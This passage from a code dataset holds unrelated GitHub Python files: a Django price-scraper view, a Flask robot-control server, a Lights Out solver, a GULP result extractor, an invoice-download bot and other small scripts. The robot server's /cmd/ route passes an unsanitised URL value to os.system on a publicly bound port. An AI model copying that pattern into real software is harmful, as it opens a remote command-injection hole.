#print(itemname)\n #print(itemprice)\n #print(itemimagelink)\n #print(\"============= \\n\")\n #print(\"============= \\n\") \n if None not in (itemname, itemprice, itemlink, itemimagelink):\n if name.lower() in itemname.lower():\n\n #todo: delete/update duplicate items in database\n if itemlink not in Item.objects.all().values_list('link', flat=True):\n\n Item.objects.create(\n date=itemdate,\n link=itemlink,\n price=itemprice,\n name=itemname,\n imagelink=itemimagelink\n )\n\n else:\n return Response(\"Something went wrong\", status=status.HTTP_400_BAD_REQUEST) \n \n #walmart \n elif index == 1:\n print(\"Entered index 1\")\n for items in lists: \n item_name = items.find('a', class_=\"item-title\")\n if item_name is not None:\n itemname=item_name.text\n else:\n itemname = \"n/a\"\n #print(\"printing itemname\")\n #print(itemname)\n item_price = items.find('li', class_=\"price-current\")\n if item_price is not None:\n itemprice=item_price.text\n else:\n itemprice = \"n/a\"\n #print(\"printing itemprice\") \n #print(itemprice)\n item_link = items.find('a', class_=\"item-img\")\n if item_link is not None:\n itemlink = item_link['href']\n \n else:\n itemlink = \"n/a\"\n #print(\"printing itemlink\")\n #print(itemlink)\n itemdate = date.today().strftime(\"%m-%d-%y\")\n #print(\"printing itemdate\")\n #print(itemdate)\n item_imagelink = items.find('a', class_=\"item-img\")\n if item_imagelink is not None:\n item_imagelink = item_imagelink.find('img')\n itemimagelink = item_imagelink['src']\n\n else:\n itemimagelink = \"n/a\" \n #print(\"printing itemimagelink\")\n #print(itemimagelink)\n \n \n \n \n #print(\"============= \\n\")\n #print(\"============= \\n\") \n if None not in (itemname, itemprice, itemlink, itemimagelink):\n if name.lower() in itemname.lower():\n\n #todo: delete/update duplicate items in database\n if itemlink not in Item.objects.all().values_list('link', flat=True):\n\n Item.objects.create(\n date=itemdate,\n link=itemlink,\n price=itemprice,\n name=itemname,\n imagelink=itemimagelink\n )\n\n else:\n return Response(\"Something went wrong\", status=status.HTTP_400_BAD_REQUEST) \n\n\n@api_view(['GET', 'POST'])\ndef items_list(request):\n if request.method == 'GET':\n \n\n data = Item.objects.all()\n \n if request.GET.get('action') == 'home_search':\n search=request.GET.get('name', True)\n data = data.filter(name__icontains=search)\n \n serializer = ItemSerializer(data, context={'request': request}, many=True)\n\n return Response(serializer.data)\n\n elif request.method == 'POST':\n action = request.POST.get('type')\n \n if action == 'scrape':\n \n name = request.POST.get('name')\n #do bs4 magic here\n get_items(name)\n return JsonResponse({\"status\": \"Success\"}, status=status.HTTP_200_OK)\n\n \n else:\n serializer = ItemSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(status=status.HTTP_201_CREATED)\n \n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['PUT', 'DELETE'])\ndef items_detail(request, pk):\n try:\n item = Item.objects.get(pk=pk)\n except Item.DoesNotExist:\n return Response(status=status.HTTP_404_NOT_FOUND)\n\n if request.method == 'PUT':\n serializer = ItemSerializer(item, data=request.data,context={'request': request})\n if serializer.is_valid():\n serializer.save()\n return Response(status=status.HTTP_204_NO_CONTENT)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n elif request.method == 'DELETE':\n item.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)","repo_name":"joeypercia/Price-Tracker","sub_path":"items/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"33761259488","text":"from flask import Flask, request\nfrom waitress import serve\nimport os\n\n#inizializza l'interfaccia rest\napp = Flask(__name__)\n\n#ping\n@app.route('/ping', methods=['GET'])\ndef ping():\n return \"it works!\", 200, {'ContentType':'text/html'} \n\n#command to bby\n@app.route('/cmd/', methods=['GET'])\ndef executeCommand(cmd):\n os.system(\"python bb7.py \" + cmd)\n return \"\", 200, {'ContentType':'text/html'} \n\n#main\nif __name__ == '__main__':\n #avvia il server waitress in ascolto\n serve(app, host=\"0.0.0.0\", port=8090)","repo_name":"MaxDam/bb7-turtle-robot","sub_path":"url-input.py","file_name":"url-input.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"18120676740","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path(\"\", view=views.Index.as_view(), name='index-page'),\n path(\"posts\", views.Posts.as_view(), name='posts-page'),\n path(\"posts/\", views.SinglePostView.as_view(), name='post-detail-page'),\n path(\"read-later\", views.ReadLaterView.as_view(), name=\"read-later\"),\n path(\"admin\",view=views.AdminPageView.as_view(),name=\"admin\"),\n path(\"certifications\",view=views.CertificationsPageView.as_view(),name=\"certifications-page\"),\n path(\"certifications/\",view=views.SingleCertificateView.as_view(),name=\"single-certificate\"),\n]\n","repo_name":"deepakjangir15/my-site","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"22010922364","text":"from copy import deepcopy\nfrom . import ServerPuzzle\nfrom ..util import *\nfrom ..solvers import IndexSolver\n\nclass LightsOut(ServerPuzzle):\n\n puzzleid = \"lights\"\n author = \"Anthony Ling\"\n name = \"Lights Out\"\n description = \"Meh\"\n date_created = \"April 6, 2020\"\n\n variants = { str(i) : IndexSolver for i in range(2, 5)}\n\n def __init__(self, variant='3', **kwargs):\n variant = int(variant)\n self.grid = [[True for _ in range(variant)] for _ in range(variant)]\n self.size = variant\n\n @property\n def variant(self):\n return str(len(self.grid))\n\n def __str__(self):\n return \"\\n\".join([str([int(i) for i in row]) for row in self.grid])\n \n def primitive(self, **kwargs):\n for row in self.grid:\n for entry in row:\n if entry == 1: return PuzzleValue.UNDECIDED\n return PuzzleValue.SOLVABLE\n \n def doMove(self, move, **kwargs):\n from copy import deepcopy\n x, y = move[0], move[1]\n puzzle = LightsOut(variant=str(self.size))\n puzzle.grid = deepcopy(self.grid)\n for i in range(max(x - 1, 0), min(self.size, x + 2)):\n puzzle.grid[y][i] = not puzzle.grid[y][i]\n for j in range(max(y - 1, 0), min(self.size, y + 2)):\n puzzle.grid[j][x] = not puzzle.grid[j][x]\n puzzle.grid[y][x] = not puzzle.grid[y][x]\n return puzzle\n\n def generateMoves(self, movetype=\"all\", **kwargs):\n if movetype == 'for' and movetype == 'back': return []\n moves = []\n for i in range(len(self.grid)):\n for j in range(len(self.grid)):\n moves.append((i, j))\n return moves\n\n def __hash__(self):\n result = int(self.serialize(), 2)\n return result\n\n def generateSolutions(self, **kwargs):\n puzzle = LightsOut(variant=self.size)\n puzzle.grid = [[False for _ in range(self.size)] for _ in range(self.size)]\n return [puzzle]\n\n @classmethod\n def generateStartPosition(cls, variantid, **kwargs):\n variant = int(variantid)\n position = '1' * (variant ** 2)\n return cls.deserialize(position)\n\n @classmethod\n def deserialize(cls, position, **kwargs):\n variant = int(len(position) ** (1/2))\n puzzle = cls(variant=variant)\n puzzle.grid = []\n for i in range(variant):\n row = position[i*variant:(i+1)*variant]\n row = [bool(int(i)) for i in row]\n puzzle.grid.append(row)\n return puzzle\n\n def serialize(self, **kwargs):\n result = \"\"\n for row in self.grid:\n str_row = [str(int(entry)) for entry in row]\n result += \"\".join(str_row)\n return result\n\n def isLegalPosition(self):\n return True","repo_name":"Ant1ng2/GamesmanPuzzles","sub_path":"puzzlesolver/puzzles/lightsout.py","file_name":"lightsout.py","file_ext":"py","file_size_in_byte":2769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"11"} +{"seq_id":"23183937214","text":"#!/usr/bin/python\n\napp = 'car-connector-config'\nfiles_to_push = ('.py', )\n\nimport os, subprocess, zipfile, re\nfrom os.path import dirname, realpath, splitext, join\n\nocp_console = subprocess.check_output(['kubectl', 'get', '-n', 'openshift-console', '-o', 'jsonpath={..spec.host}', 'route', 'console'])\ndomain = re.sub('.*apps', 'apps', ocp_console)\ndebug_helper_url = '%s-debug-helper.%s' % (app, domain)\nprint('Pushing to: ' + debug_helper_url)\n\ncurrent_dir = os.getcwd()\nos.chdir(join(dirname(dirname(realpath(__file__))), 'src'))\ntry:\n with open('files.zip', 'wb') as files_zip:\n zip = zipfile.ZipFile(files_zip, 'w')\n for root, folder, files in os.walk('.'):\n for file in files:\n if splitext(file)[1] in files_to_push:\n zip.write(file)\n zip.close()\n\n os.system('curl -F \"data=@files.zip\" http://%s' % debug_helper_url)\n\nfinally:\n try: os.remove('files.zip')\n except: pass\n os.chdir(current_dir)\n","repo_name":"ahusbjboston/car-connector-config","sub_path":"debug/push_files.py","file_name":"push_files.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"22355758939","text":"import sqlalchemy as db\nimport json\nimport pandas as pd\nimport numpy as np\nfrom python_on_whales import docker\nfrom . import db_config\n\n# update labels for host object\n\ndef update_hosts(host_item):\n\n \n config = db_config.config\n db_user = config.get('user')\n db_pwd = config.get('password')\n db_host = config.get('host')\n db_port = config.get('port')\n db_name = config.get('database')\n \n connection_str = f'mysql+pymysql://{db_user}:{db_pwd}@{db_host}:{db_port}/{db_name}'\n \n\n engine = db.create_engine(connection_str,pool_size=10, max_overflow=20, pool_pre_ping=True)\n \n # get current labels\n sql = db.text(f\"SELECT labels from hosts where name='{host_item['name']}'\")\n \n # Fetch all the records\n result = engine.execute(sql).fetchall()\n \n # View the records\n\n for x in result:\n temp=x._asdict()\n\n\n \n old_labels=json.loads(temp['labels'])\n new_labels=host_item['labels']\n\n print(\"Old labels\",old_labels)\n print(\"New Labels\",new_labels)\n \n\n l1=np.array(old_labels)\n l2=np.array(new_labels)\n\n temp_rm_labels=np.setdiff1d(l1, l2)\n temp_add_labels=np.setdiff1d(l2,l1)\n print(\"Labels to be removed\",temp_rm_labels)\n print(\"Labels to be added\",temp_add_labels)\n\n add_labels={}\n for i in temp_add_labels:\n add_labels[i]='true'\n\n ### making the change in the table\n meta = db.MetaData(bind=engine)\n db.MetaData.reflect(meta)\n meta.create_all(engine)\n HOSTS = meta.tables['hosts']\n \n # update\n u = db.update(HOSTS)\n u = u.values({\"labels\": host_item['labels']})\n u = u.where(HOSTS.c.name == host_item['name'])\n engine.execute(u)\n \n ### making the change in docker\n docker.node.update(host_item['name'],labels_add=add_labels,rm_labels=temp_rm_labels)\n \n \n \n # to check updation\n sql = db.text(\"SELECT * from hosts\")\n \n # Fetch all the records\n result = engine.execute(sql).fetchall()\n \n # View the records\n for record in result:\n print(\"\\n\", record)\n\n \n ","repo_name":"nikhilraj-vunet/control-center-full-code","sub_path":"cc-backend/example/db_updatehosts.py","file_name":"db_updatehosts.py","file_ext":"py","file_size_in_byte":2037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"9831452399","text":"import sys\nINF = sys.maxsize\n\ndef solution(n, s, a, b, fares):\n fares = floyd_Warshall(n,fares)\n answer = list()\n for k in range(n) :\n answer.append(fares[s-1][k] + fares[k][a-1] + fares[k][b-1])\n return min(fares[s-1][a-1] + fares[s-1][b-1],min(answer))\n\n\ndef floyd_Warshall(n,fares) :\n dist = [[INF]* n for i in range(n)]\n for fare in fares :\n dist[fare[0]-1][fare[1]-1] = fare[2]\n dist[fare[1]-1][fare[0]-1] = fare[2]\n\n #[i,j] vs [i,k] + [k+j]\n for k in range(n) : \n for i in range(n) : \n for j in range(n) :\n if dist[i][j] > dist[i][k] + dist[k][j] :\n dist[i][j] = dist[i][k] + dist[k][j]\n\n for i in range(n) :\n dist[i][i] = 0\n return dist\n","repo_name":"minjundev/Kakao-Coding-Test","sub_path":"Level 3/7_합승 택시 요금.py","file_name":"7_합승 택시 요금.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"37548236025","text":"# read the string filename\nfilename = input()\n\ntimes = set()\nrepeat_times = set()\nwith open(filename, 'r') as file:\n line = file.readline()\n while line:\n delim = line.split(' ')\n time = delim[3].replace('[', '')\n\n if time in times:\n repeat_times.add(time)\n else:\n times.add(time)\n line = file.readline()\n\n\n# print(repeat_times)\nwith open(f'req_{filename}', 'x') as outfile:\n lines = '\\n'.join(list(repeat_times))\n outfile.write(lines)\n","repo_name":"fisjac/LeetCode","sub_path":"Hackerrank/multiple_requests_at_a_time.py","file_name":"multiple_requests_at_a_time.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"30491973289","text":"import cv2\nimport numpy as np\nfrom config.solofy import *\n\n\ndef rescale_image(bboxes, original_h, original_w):\n img = cv2.imread(INIMAGE)\n img = cv2.resize(img, RESIZE_TO)\n\n w = RESIZE_TO[0] / original_w\n h = RESIZE_TO[1] / original_h\n scaler = np.asarray([w, h, w, h])\n scaled_boxes = np.asarray(list(bboxes.values())) * scaler\n scaled_boxes = scaled_boxes.astype(np.uint32)\n\n for bbox in scaled_boxes:\n resized_detection = cv2.rectangle(\n img,\n pt1=(bbox[0], bbox[1]),\n pt2=(bbox[2], bbox[3]),\n color=(255, 255, 255),\n thickness=2,\n )\n\n return scaled_boxes, resized_detection\n","repo_name":"vrindaprabhu/solofy","sub_path":"utils/rescale_image.py","file_name":"rescale_image.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"36032065855","text":"# Foodpicker - program do podpowiadania co możesz zjeść na podstawie rzeczy w Twojej lodówce\nimport time\n\nproducts_list = []\n\ndef productAdd():\n while True:\n product = input(\"Podaj produkty z lodówki(wpisz f aby zakończyć wprowadzanie produktów)>> \").lower()\n if product != \"f\":\n products_list.append(product)\n elif product == \"\":\n continue\n else:\n break\n\ndef readFood():\n\n with open('meals.txt', 'r') as food:\n meals = food.readlines()\n meals = [meal.strip() for meal in meals]\n\n \n with open('ingredients.txt', 'r') as ing:\n ingredients = ing.readlines()\n ingredients = [ingredients.strip() for ingredients in ingredients]\n for i in range(len(ingredients)):\n ingredients[i] = [x.strip() for x in ingredients[i].split(',')]\n return meals, ingredients\n\ndef foodCompare(meals, ingredients, products_list):\n global prop\n prop = []\n products_set = set(products_list)\n for i in range(len(meals)):\n if set(ingredients[i]).issubset(products_set):\n prop.append(meals[i])\n return prop\n\ndef main():\n print('#' * 85)\n print('')\n print('Witaj w programie foodpicker! Ten program podpowie Ci co możesz zrobić do jedzenia!')\n print('')\n print('#' * 85)\n time.sleep(2)\n print('INFO: Wpisuj produkty pojedyńczo! Nie używaj polskich znaków oraz przecinków! Wielkość liter dowolna. Przykładowo wpisz: jajka lub oliwa z oliwek i naciśnij enter')\n time.sleep(2)\n productAdd()\n meals, ingredients = readFood()\n foodCompare(meals, ingredients, products_list)\n print(\"Potrawy, które możesz zrobić to:\")\n time.sleep(1)\n for i in prop:\n print(\"-\", i)\n time.sleep(0.5)\n\nmain()\n\n","repo_name":"dgrzyl/python","sub_path":"foodpicker.py","file_name":"foodpicker.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"39893881054","text":"#!/bin/bash\n\nfrom Extractor.GULP import ExtractGULP\nfrom concurrent.futures import ProcessPoolExecutor\nimport os,sys\nimport pandas as pd\n\ndef get_gulp_output(fname,__gtol):\n\n\troot = os.getcwd()\n\tfpath = os.path.join(root,fname)\n\n\teg = ExtractGULP()\n\tfcheck = eg.set_output_file(fpath)\n\n\tif fcheck :\n\n\t\tfinish_check = eg.check_finish_normal()\n\t\tgnorm_check, gnorm = eg.get_final_gnorm(gnorm_tol=__gtol)\n\t\n\t\tchecklist = [] \n\n\t\tif finish_check == True and gnorm_check == True:\n\n\t\t\t# Final Energy \n\t\t\tlenergy, energy = eg.get_final_energy()\t\t\n\t\t\tchecklist.append(lenergy)\n\t\t\t# Final Lattice Parameters\n\t\t\tllparams, lparams = eg.get_final_lparams()\n\t\t\tchecklist.append(llparams)\n\t\t\t# Final Volume\n\t\t\tlvolume, volume = eg.get_final_lvolume()\n\t\t\tchecklist.append(lvolume)\t\n\t\t\t# Final Bulk Modulus\n\t\t\tlbulkmod, bulkmod = eg.get_bulkmod()\n\t\t\tchecklist.append(lbulkmod)\n\t\t\t# Final Youngs Modulus\n\t\t\tlymod, ymod = eg.get_youngsmod()\n\t\t\tchecklist.append(lymod)\n\t\t\t# Final Compressibility\n\t\t\tlcompr, compr = eg.get_compress()\n\t\t\tchecklist.append(lcompr)\n\t\t\t# Final static dielec\n\t\t\tlsdielec, sdielec = eg.get_sdielec()\n\t\t\tchecklist.append(lsdielec)\n\t\t\t# Final high freq dielec\n\t\t\tlhdielec, hdielec = eg.get_hdielec()\n\t\t\tchecklist.append(lhdielec)\n\t\telse:\n\t\t\teg.reset()\n\t\t\treturn False, None\n\t\t\n\t\tif False in checklist:\t# any fail(s) detected\n\t\t\teg.reset()\n\t\t\treturn False, None\n\t\telse:\t\t\t\t\t# all checklist True\n\t\t\teg.reset()\n\t\t\tret = {\t'energy': energy,\n\t\t\t\t\t# lattice params\n\t\t\t\t\t'a' : lparams[0],\n\t\t\t\t\t'b' : lparams[1],\n\t\t\t\t\t'c' : lparams[2],\n\t\t\t\t\t'alp' : lparams[3],\n\t\t\t\t\t'bet' : lparams[4],\n\t\t\t\t\t'gam' : lparams[5],\n\t\t\t\t\t# volume\n\t\t\t\t\t'vol' : volume,\n\t\t\t\t\t# Modulus\n\t\t\t\t\t'bulkmod'\t: bulkmod[1],\n\t\t\t\t\t'ymod'\t\t: ymod[1],\n\t\t\t\t\t# Compress\n\t\t\t\t\t'comp'\t\t: compr,\n\t\t\t\t\t# static dielec\n\t\t\t\t\t'sd1'\t\t: sdielec[0][0][0],\n\t\t\t\t\t'sd2'\t\t: sdielec[0][0][1],\n\t\t\t\t\t'sd3'\t\t: sdielec[0][0][2],\n\t\t\t\t\t'sd4'\t\t: sdielec[0][1][1],\n\t\t\t\t\t'sd5'\t\t: sdielec[0][1][2],\n\t\t\t\t\t'sd6'\t\t: sdielec[0][2][2],\n\t\t\t\t\t'sde1'\t\t: sdielec[1][0],\n\t\t\t\t\t'sde2'\t\t: sdielec[1][0],\n\t\t\t\t\t'sde3'\t\t: sdielec[1][0],\n\t\t\t\t\t# high freq dielec\n\t\t\t\t\t'hd1'\t\t: hdielec[0][0][0],\n\t\t\t\t\t'hd2'\t\t: hdielec[0][0][1],\n\t\t\t\t\t'hd3'\t\t: hdielec[0][0][2],\n\t\t\t\t\t'hd4'\t\t: hdielec[0][1][1],\n\t\t\t\t\t'hd5'\t\t: hdielec[0][1][2],\n\t\t\t\t\t'hd6'\t\t: hdielec[0][2][2],\n\t\t\t\t\t'hde1'\t\t: hdielec[1][0],\n\t\t\t\t\t'hde2'\t\t: hdielec[1][0],\n\t\t\t\t\t'hde3'\t\t: hdielec[1][0],\n\t\t\t}\n\t\t\treturn True, ret\n\telse:\n\t\teg.reset()\n\t\treturn False, None\n\nif __name__ == '__main__':\n\n\t_MAX_ITEM = 1000\n\n\tdir_path = sys.argv[1]\t# only req input parameter -> summary directory path abs\n\t'''\n\te = []\n\ta = []\n\tb = []\n\tc = []\n\talp = []\n\tbet = []\n\tgam = []\n\tvol = []\n\tbulkmod = []\n\tymod\t= []\n\tcomp\t= []\n\tsd1\t= []\n\tsd2 = []\n\tsd3 = []\n\tsd4 = []\n\tsd5 = []\n\tsd6 = []\n\tsde1 = []\n\tsde2 = []\n\tsde3 = []\n\thd1\t= []\n\thd2 = []\n\thd3 = []\n\thd4 = []\n\thd5 = []\n\thd6 = []\n\thde1 = []\n\thde2 = []\n\thde3 = []\n\n\ttaskid = []\n\t'''\n\n\tdef process_file(file_id):\n\n\t\tgdir = 'A' + str(file_id)\n\t\tgpath = os.path.join(dir_path,gdir)\n\t\tgfile = 'gulp_klmc.gout'\n\t\tgpath = os.path.join(gpath,gfile)\n\t\t\n\t\tlres, res = get_gulp_output(gpath,0.1)\n\n\t\tif lres :\n\t\t\t'''\n\t\t\te.append(res['energy'])\n\t\t\ttaskid.append(file_id)\n\n\t\t\ta.append(res['a'])\n\t\t\tb.append(res['b'])\n\t\t\tc.append(res['c'])\n\t\t\talp.append(res['alp'])\n\t\t\tbet.append(res['bet'])\n\t\t\tgam.append(res['gam'])\n\t\t\tvol.append(res['vol'])\n\t\t\n\t\t\tbulkmod.append(res['bulkmod'])\n\t\t\tymod.append(res['ymod'])\n\t\t\tcomp.append(res['comp'])\n\t\t\n\t\t\tsd1.append( res['sd1'])\n\t\t\tsd2.append( res['sd2'])\n\t\t\tsd3.append( res['sd3'])\n\t\t\tsd4.append( res['sd4'])\n\t\t\tsd5.append( res['sd5'])\n\t\t\tsd6.append( res['sd6'])\n\t\t\tsde1.append(res['sde1'])\n\t\t\tsde2.append(res['sde2'])\n\t\t\tsde3.append(res['sde3'])\n\n\t\t\thd1.append( res['sd1'])\n\t\t\thd2.append( res['sd2'])\n\t\t\thd3.append( res['sd3'])\n\t\t\thd4.append( res['sd4'])\n\t\t\thd5.append( res['sd5'])\n\t\t\thd6.append( res['sd6'])\n\t\t\thde1.append(res['sde1'])\n\t\t\thde2.append(res['sde2'])\n\t\t\thde3.append(res['sde3'])\n\n\t\t\t# res is json including all above\n\n\t\t\t'''\n\t\t\tres.update({'taskid': file_id})\n\t\t\treturn res\t# res is already 'json' format (dict)\n\t\telse:\n\t\t\treturn None\n\n\tresults = []\n\twith ProcessPoolExecutor(max_workers=64) as executor:\n\t\t#results = list(executor.map(process_file,range(_MAX_ITEM)))\n\t\t#print(f\"Processed {len(results)} out of {_MAX_ITEM} directories ({len(results) / _MAX_ITEM * 100:.2f}% complete).\")\n\n\t\tfor result in executor.map(process_file,range(_MAX_ITEM)):\t\t# execute 'process_file'\n\t\t\tif result:\t# if result != None\n\t\t\t\tresults.append(result)\n\t\t\t\tprint(f\"Processed {len(results)} out of {_MAX_ITEM} directories ({len(results) / _MAX_ITEM * 100:.2f}% complete).\")\n\t\t\t\t#print(result)\n\n\tresults = [res for res in results if res is not None]\n\n\tdf = pd.DataFrame(results)\n\n\tdf.set_index('energy',inplace=True)\n\n\tdf.to_csv(sys.argv[2])\n\n\tprint(df)\n\n\t# python this_source.py /path/to/result/ output.csv 1> stdout.s 2> stderr.s\n","repo_name":"sweetmixture/MultiToolkit","sub_path":"examples/PoolGULPEx.py","file_name":"PoolGULPEx.py","file_ext":"py","file_size_in_byte":4861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"74310049628","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndata = np.random.randn(5000, 1)\nlabel = np.zeros((5000, 1))\ndrift = np.zeros((5000, 1))\nlabel[data>3] = 1\nlabel[data<-3] = 1\nprint(sum(label))\n\ndld = np.concatenate((data, label, drift), axis=1)\n\ndata = np.random.randn(5000, 1) * 3\nlabel = np.zeros((5000, 1))\ndrift = np.zeros((5000, 1))\ndrift[0] = 1\nlabel[data>9] = 1\nlabel[data<-9] = 1\nprint(sum(label))\n\ntemp = np.concatenate((data, label, drift), axis=1)\ndld = np.concatenate((dld, temp), axis=0)\n\nnp.savetxt(\"norm1d_drift.csv\", dld, delimiter=\",\")\n\n\n# plt.scatter(np.arange(10000), dld[:, 0], c=dld[:, 1])\n# plt.show()","repo_name":"yixiaoma666/CDiDS","sub_path":"test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"12569980000","text":"# This is a small python script that launches Blender from the command line with the X-Plane exporter out of your GIT repo. This\n# saves having to work \"in\" the Blender add-ons dir, having to check out code to the Blender add-ons dir, or any fancy sim-linking.\n#\n# Like the test script, --blender lets you specify an executable, and it injects the code via the --addons flag, e.g.\n#\n# python3 run.py --blender /Applications/Blender.app/Contents/MacOS/Blender\n\nimport argparse\nimport os\nimport subprocess\nimport sys\n\ndef _make_argparse():\n parser = argparse.ArgumentParser(description=\"Runs the XPlane2Blender test suite\")\n blender_options = parser.add_argument_group(\"Blender Options\")\n\n blender_options.add_argument(\n \"--blender\",\n default=\"blender\", # Use the blender in the system path\n type=str,\n help=\"Provide alternative path to Blender executable\",\n )\n blender_options.add_argument(\n \"--force-blender-debug\",\n help=\"Turn on Blender's --debug flag\",\n action=\"store_true\",\n )\n blender_options.add_argument(\n \"-n\",\n \"--no-factory-startup\",\n help=\"Run Blender with current prefs rather than factory prefs\",\n action=\"store_true\",\n )\n return parser\n\n\ndef main(argv=None) -> int:\n\n if argv is None:\n argv = _make_argparse().parse_args(sys.argv[1:])\n\n blender_args = [\n argv.blender,\n \"--addons\",\n \"io_xplane2blender\",\n \"--factory-startup\",\n ]\n\n if argv.no_factory_startup:\n blender_args.remove(\"--factory-startup\")\n\n if argv.force_blender_debug:\n blender_args.append(\"--debug\")\n\n # Small Hack!\n # Blender stops parsing after '--', so we can append the test runner\n # args and bridge the gap without anything fancy!\n blender_args.extend([\"--\"] + sys.argv[1:])\n\n # print the command used to execute the script\n # to be able to easily re-run it manually to get better error output\n print(\" \".join(blender_args))\n\n # Environment variables - in order for --addons to work, we need to have OUR folder\n # exist, and we need to have \"addons/modules\" simlink BACK to us to create the illusion\n # of the directory structure Blender expects.\n enviro={\"BLENDER_USER_SCRIPTS\": os.path.dirname(os.path.realpath(__file__))}\n\n # Run Blender, normalize output line endings because Windows is dumb\n out = subprocess.run(\n blender_args, universal_newlines=True, env=enviro\n ) # type: str\n\n\nmain()\n\n","repo_name":"X-Plane/XPlane2Blender","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2507,"program_lang":"python","lang":"en","doc_type":"code","stars":180,"dataset":"github-code","pt":"11"} +{"seq_id":"26384216859","text":"import os\r\nimport webdriver as bot\r\nimport manejo_datos as md\r\nimport invoice as inv\r\nfrom selenium.common.exceptions import TimeoutException, NoSuchWindowException, SessionNotCreatedException, WebDriverException\r\n\r\ndef secuencia_invoices(ejecutableChrome, carpeta_descarga, orden, tiempo_espera):\r\n\r\n try:\r\n driver = bot.crear_webdriver(ejecutableChrome, carpeta_descarga)\r\n except SessionNotCreatedException:\r\n print(\"La version de Chrome no corresponde con el webdriver que se utiliza.\" + \"\\n\" +\r\n \"Actualice su navegador Chrome a la ultima version disponible.\")\r\n exit(1)\r\n\r\n funciones_invoices = {inv.pagina_orden:[driver, orden, tiempo_espera], inv.login_appleID:[driver, orden, tiempo_espera], inv.seleccion_invoice:[driver, orden, tiempo_espera]}\r\n\r\n for funcion in funciones_invoices:\r\n try:\r\n funcion(*funciones_invoices[funcion])\r\n except (NoSuchWindowException, WebDriverException):\r\n print(\"Ocurrio un error con la ventana del navegador.\")\r\n print(f'No se pudo descargar la factura de la orden {orden.orden[\"nombre\"]}')\r\n orden.estado = False \r\n break \r\n except TimeoutException:\r\n print('Se demoro en encontrar el boton o texto.') \r\n print(f'No se pudo descargar la factura de la orden {orden.orden[\"nombre\"]}') \r\n orden.estado = False\r\n break\r\n except Exception as ex:\r\n error_message = '\\n'.join(map(str, ex.args)).rstrip()\r\n print(f\"{error_message}\")\r\n print(f'No se pudo descargar la factura de la orden {orden.orden[\"nombre\"]}')\r\n orden.estado = False \r\n break \r\n\r\n driver.quit()\r\n\r\n\r\ndef main():\r\n os.system('cls')\r\n print(\" ============ BOT - INVOICES APPLE ============ \")\r\n print(\"Se usara como archivo predeterminado el 'BOT - INVOICES APPLE.xlsx' y la primera hoja disponible\")\r\n\r\n # Nombres del archivo (para modificar mas facil)\r\n archivo_excel = 'BOT - INVOICES APPLE'.rstrip()\r\n # Tiempo maximo de espera \r\n tiempo_espera = 8\r\n # Variable de errores\r\n errores = []\r\n\r\n # Elimina el anterior log\r\n md.eliminar_archivo_texto()\r\n\r\n print(\"Verificacion de las carpetas download, excel e invoice bot\")\r\n md.verificacion_carpetas()\r\n\r\n print(\"Instalacion del Webdriver de Chrome\")\r\n try:\r\n ejecutableChrome = bot.instalar_webdriver()\r\n except:\r\n print(\"Archivo posiblemente dañado. Borrar la carpeta .wdm y volver a iniciar el programa\")\r\n exit(1)\r\n print(f'Ruta: {ejecutableChrome}')\r\n\r\n print(\"Verificando la existencia de la carpeta de descarga\")\r\n carpeta_descarga = md.crear_carpeta()\r\n\r\n print(f\"Lectura del archivo {archivo_excel}.xlsx\")\r\n try: \r\n md.existe_archivo_excel(archivo_excel)\r\n except Exception as ex: \r\n print(f'{ex}' + '\\n' + \"Finalizando...\" + '\\n')\r\n exit(1)\r\n \r\n lista_orden = md.lectura_lista_orden(archivo_excel)\r\n\r\n for orden in lista_orden:\r\n \r\n secuencia_invoices(ejecutableChrome, carpeta_descarga, orden, tiempo_espera)\r\n\r\n #Si hay un error lo guarda y despues lo escribe en un txt \r\n if not orden.estado:\r\n md.escribir_texto(orden.orden)\r\n \r\n print(\"Finalizando BOT - INVOICES APPLE...\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"DylanVicharra/Bot-Invoices","sub_path":"invoice bot/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3425,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"33697896537","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 2 09:37:38 2021\n\n@author: hazelhallett\n\"\"\"\nimport numpy as np \nimport matplotlib.pyplot as plt\n\nM = 1 #mass of sun in solar mass units \nM_solar = 1.988e30 #mass of sun in kg\nm1 = 1.898e27/M_solar #mass of 